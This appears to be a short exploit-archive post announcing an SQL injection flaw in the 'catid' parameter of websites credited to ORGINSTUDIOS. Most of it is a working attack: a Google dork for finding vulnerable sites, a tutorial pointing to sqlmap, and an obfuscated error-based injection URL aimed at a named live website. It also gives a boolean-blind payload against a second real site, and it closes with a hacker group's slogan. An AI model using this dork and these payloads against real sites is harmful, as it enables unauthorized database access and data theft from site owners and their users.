################################################################################# # Exploit Title: Designed by ORGINSTUDIOS.COM Sql İnjection Vulnerability # Author : TrazeR & AKINCİLAR # Google Dork : intext:"Designed by ORGINSTUDIOS.COM" inurl:catid # Tested on : Windows 7 # Date : 01.07.2019 # Vendor Home: https://orginstudios.com/ # Blog : https://www.trazer.org/ # Forum : http://www.cyber-warrior.org/ ################################################################################# [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] root@TrazeR:~# Tutorial : [+] Dorking İn Google Or Other Search Enggine [+] Sqlmap Or Manuel [+] GET parameter 'catid' is vulnerable Demo: http://graphicarts.gr/portal/corp.php?catid=260'+and(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+aes_decrypt(aes_encrypt(%2f**%2fcOnCaT(0x217e21,%2f**%2fdAtAbAsE(),0x217e21),1),1))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)+and+'1'='1&cp=8&cntrid= Demo 2 : http://www.exaireton.com/mainsite/products.php?catid=37 Parameter: catid (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: catid=-5607) OR 3893=3893-- HOfb #AKINCILAR ! BU GÜCE SAYGI DUYUN ! [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]